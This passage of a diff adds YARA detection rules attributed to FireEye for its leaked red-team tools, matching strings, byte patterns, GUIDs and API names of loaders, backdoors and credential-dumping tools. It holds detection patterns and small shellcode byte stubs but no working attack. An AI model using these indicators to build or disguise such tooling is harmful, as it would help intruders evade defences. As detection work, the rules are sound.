+        $s1 = "httpComms.dll" ascii wide
+        $s2 = "Cookie: SID1=%s" ascii wide
+        $s3 = "Global\\" ascii wide
+        $s4 = "stage0.dll" ascii wide
+        $s5 = "runCommand" ascii wide
+        $s6 = "getData" ascii wide
+        $s7 = "initialize" ascii wide
+        $s8 = "Windows NT %d.%d;" ascii wide
+        $s9 = "!This program cannot be run in DOS mode." ascii wide
+    condition:
+        filesize < 50KB and all of them
+}
+rule APT_Dropper_Win_MATRYOSHKA_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "matryoshka_dropper.rs"
+        md5 = "edcd58ba5b1b87705e95089002312281"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47"
+    strings:
+        $s1 = "\x00matryoshka.exe\x00"
+        $s2 = "\x00Unable to write data\x00"
+        $s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
+        $s4 = "\x00.execmdstart/Cfailed to execute process\x00"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_Win_Generic_20
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "5125979110847d35a338caac6bff2aa8"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49"
+    strings:
+        $s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+        $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+        $si1 = "VirtualProtect" fullword
+        $si2 = "malloc" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win32_PGF_2
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/dllmain/"
+        md5 = "04eb45f8546e052fe348fda2425b058c"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd"
+    strings:
+        $sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? }
+        $sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? }
+        $sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_REDTEAMMATERIALS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "272cd3e9-884a-566b-ae90-4a79ee726a8d"
+    strings:
+        $typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
+        $typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_7
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "f891e477-9ff2-57be-9ca5-dd87d9baee29"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "getData" fullword
+        $3 = "putData" fullword
+        $4 = "fini" fullword
+        $5 = "NamedPipe"
+        $named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Trojan_Win_REDFLARE_8
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b090df60-8f4e-51ca-944c-6f9ce2d9c913"
+    strings:
+        $1 = "PSRunner.PSRunner" fullword
+        $2 = "CorBindToRuntime" fullword
+        $3 = "ReportEventW" fullword
+        $4 = "InvokePS" fullword wide
+        $5 = "runCommand" fullword
+        $6 = "initialize" fullword
+        $trap = { 03 40 00 80 E8 [4] CC }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Backdoor_Win_GORAT_5
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212"
+    strings:
+        $1 = "comms.BeaconData" fullword
+        $2 = "comms.CommandResponse" fullword
+        $3 = "rat.BaseChannel" fullword
+        $4 = "rat.Config" fullword
+        $5 = "rat.Core" fullword
+        $6 = "platforms.AgentPlatform" fullword
+        $7 = "GetHostID" fullword
+        $8 = "/rat/cmd/gorat_shared/dllmain.go" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_GPOHUNT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e4325f11-103c-5893-8978-9a72f7ca6105"
+    strings:
+        $typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_JUSTASK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "06a03d82-db69-5b5a-a578-a8053814e917"
+    strings:
+        $typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_4
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37"
+    strings:
+        $s1 = "LogonUserW" fullword
+        $s2 = "ImpersonateLoggedOnUser" fullword
+        $s3 = "runCommand" fullword
+        $user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_TITOSPECIAL_1
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b12490ba-41f6-5469-bcbb-0d2e0055c193"
+    strings:
+        $ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
+        $ind_s1 = "NtReadVirtualMemory" fullword wide
+        $ind_s2 = "WriteProcessMemory" fullword
+        $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
+        $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of ($ind*) and any of ($shellcode* )
+}
+rule Dropper_LNK_LNKSmasher_1
+{
+    meta:
+        description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
+        md5 = "0a86d64c3b25aa45428e94b6e0be3e08"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4"
+    strings:
+        $drive_serial = { 12 F7 26 BE }
+        $file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
+        $guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
+        $header = { 4C 00 00 00 01 14 02 }
+    condition:
+        $header at 0 and all of them
+}
+rule HackTool_MSIL_SharpSchtask_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1"
+    strings:
+        $typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Controller_Linux_REDFLARE_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "79a69740-7209-5c56-ad6f-eb4d0b29beaf"
+    strings:
+        $1 = "/RedFlare/gorat_server"
+        $2 = "RedFlare/sandals"
+        $3 = "goratsvr.CommandResponse" fullword
+        $4 = "goratsvr.CommandRequest" fullword
+    condition:
+        (uint32(0) == 0x464c457f) and all of them
+}
+rule APT_HackTool_MSIL_WMISPY_2
+{
+    meta:
+        description = "wql searches"
+        md5 = "3651f252d53d2f46040652788499d65a"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "474af878-a657-54bc-a063-04532df928d4"
+    strings:
+        $MSIL = "_CorExeMain"
+        $str1 = "root\\cimv2" wide
+        $str2 = "root\\standardcimv2" wide
+        $str3 = "from MSFT_NetNeighbor" wide
+        $str4 = "from Win32_NetworkLoginProfile" wide
+        $str5 = "from Win32_IP4RouteTable" wide
+        $str6 = "from Win32_DCOMApplication" wide
+        $str7 = "from Win32_SystemDriver" wide
+        $str8 = "from Win32_Share" wide
+        $str9 = "from Win32_Process" wide
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and $MSIL and all of ($str*)
+}
+rule HackTool_MSIL_SharPersist_2
+{
+    meta:
+        md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1b8f6c25-3a59-5b88-bc0b-750b3663488b"
+    strings:
+        $a1 = "SharPersist.lib"
+        $a2 = "SharPersist.exe"
+        $b1 = "ERROR: Invalid hotkey location option given." ascii wide
+        $b2 = "ERROR: Invalid hotkey given." ascii wide
+        $b3 = "ERROR: Keepass configuration file not found." ascii wide
+        $b4 = "ERROR: Keepass configuration file was not found." ascii wide
+        $b5 = "ERROR: That value already exists in:" ascii wide
+        $b6 = "ERROR: Failed to delete hidden registry key." ascii wide
+        $pdb1 = "\\SharPersist\\"
+        $pdb2 = "\\SharPersist.pdb"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and ((@pdb2[1] < @pdb1[1] + 50) or (1 of ($a*) and 2 of ($b*)))
+}
+rule APT_Loader_Win_MATRYOSHKA_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "matryoshka_process_hollow.rs"
+        md5 = "44887551a47ae272d7873a354d24042d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352"
+    strings:
+        $s1 = "ZwQueryInformationProcess" fullword
+        $s2 = "WriteProcessMemory" fullword
+        $s3 = "CreateProcessW" fullword
+        $s4 = "WriteProcessMemory" fullword
+        $s5 = "\x00Invalid NT Signature!\x00"
+        $s6 = "\x00Error while creating and mapping section. NTStatus: "
+        $s7 = "\x00Error no process information - NTSTATUS:"
+        $s8 = "\x00Error while erasing pe header. NTStatus: "
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule Builder_MSIL_SinfulOffice_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "cf020fb3-751b-5346-8c0d-dc0a552599a3"
+    strings:
+        $typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_SharPy_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7"
+    strings:
+        $typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_MSIL_WILDCHILD_1
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "6f04a93753ae3ae043203437832363c4"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b9e0707e-98eb-55da-ad1d-6a84bd113747"
+    strings:
+        $s1 = "\x00QueueUserAPC\x00"
+        $s2 = "\x00WriteProcessMemory\x00"
+        $sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_Win_Generic_18
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "c74ebb6c238bbfaefd5b32d2bf7c7fcc"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688"
+    strings:
+        $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+        $s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+        $si1 = "fread" fullword
+        $si2 = "fwrite" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_HOLSTER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
+        md5 = "a91bf61cc18705be2288a0f6f125068f"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e1e8979e-2dee-5061-a11d-00dcfba476c3"
+    strings:
+        $typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_MSIL_TRIMBISHOP_1
+{
+    meta:
+        date = "2020-12-03"
+        modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1a3f4247-25f4-51ca-b881-209c0753b915"
+    strings:
+        $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+        $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (@sb1[1] < @sb2[1]) and (all of ($ss*)) and (all of ($tb*))
+}
+rule APT_Loader_MSIL_TRIMBISHOP_2
+{
+    meta:
+        date = "2020-12-03"
+        modified = "2020-12-03"
+        md5 = "c0598321d4ad4cf1219cc4f84bad4094"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "90ee2569-2e68-517b-b2d7-8c4015d92683"
+    strings:
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+        $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+        $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Backdoor_Win_DShell_3
+{
+    meta:
+        description = "This rule looks for strings specific to the D programming language in combination with sections of an integer array which contains the encoded payload found within DShell"
+        md5 = "cf752e9cd2eccbda5b8e4c29ab5554b6"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "31717164-9876-58f8-af27-d27c81d20fba"
+    strings:
+        $dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
+        $e0 = ",0,"
+        $e1 = ",1,"
+        $e2 = ",2,"
+        $e3 = ",3,"
+        $e4 = ",4,"
+        $e5 = ",5,"
+        $e6 = ",6,"
+        $e7 = ",7,"
+        $e8 = ",8,"
+        $e9 = ",9,"
+        $e10 = ",10,"
+        $e11 = ",11,"
+        $e12 = ",12,"
+        $e13 = ",13,"
+        $e14 = ",14,"
+        $e15 = ",15,"
+        $e16 = ",16,"
+        $e17 = ",17,"
+        $e18 = ",18,"
+        $e19 = ",19,"
+        $e20 = ",20,"
+        $e21 = ",21,"
+        $e22 = ",22,"
+        $e23 = ",23,"
+        $e24 = ",24,"
+        $e25 = ",25,"
+        $e26 = ",26,"
+        $e27 = ",27,"
+        $e28 = ",28,"
+        $e29 = ",29,"
+        $e30 = ",30,"
+        $e31 = ",31,"
+        $e32 = ",32,"
+        $e33 = ",33,"
+        $e34 = ",34,"
+        $e35 = ",35,"
+        $e36 = ",36,"
+        $e37 = ",37,"
+        $e38 = ",38,"
+        $e39 = ",39,"
+        $e40 = ",40,"
+        $e41 = ",41,"
+        $e42 = ",42,"
+        $e43 = ",43,"
+        $e44 = ",44,"
+        $e45 = ",45,"
+        $e46 = ",46,"
+        $e47 = ",47,"
+        $e48 = ",48,"
+        $e49 = ",49,"
+        $e50 = ",50,"
+        $e51 = ",51,"
+        $e52 = ",52,"
+        $e53 = ",53,"
+        $e54 = ",54,"
+        $e55 = ",55,"
+        $e56 = ",56,"
+        $e57 = ",57,"
+        $e58 = ",58,"
+        $e59 = ",59,"
+        $e60 = ",60,"
+        $e61 = ",61,"
+        $e62 = ",62,"
+        $e63 = ",63,"
+        $e64 = ",64,"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and filesize < 1500KB and 40 of ($e*) and 1 of ($dlang*)
+}
+rule APT_HackTool_MSIL_SHARPSTOMP_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4b4a54c8-9717-5fbb-8130-a49162bc6b07"
+    strings:
+        $s0 = "mscoree.dll" fullword nocase
+        $s1 = "timestompfile" fullword nocase
+        $s2 = "sharpstomp" fullword nocase
+        $s3 = "GetLastWriteTime" fullword
+        $s4 = "SetLastWriteTime" fullword
+        $s5 = "GetCreationTime" fullword
+        $s6 = "SetCreationTime" fullword
+        $s7 = "GetLastAccessTime" fullword
+        $s8 = "SetLastAccessTime" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPPATCHCHECK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302"
+    strings:
+        $typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SAFETYKATZ_4
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
+        md5 = "45736deb14f3a68e88b038183c23e597"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6"
+    strings:
+        $typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Backdoor_MacOS_GORAT_1
+{
+    meta:
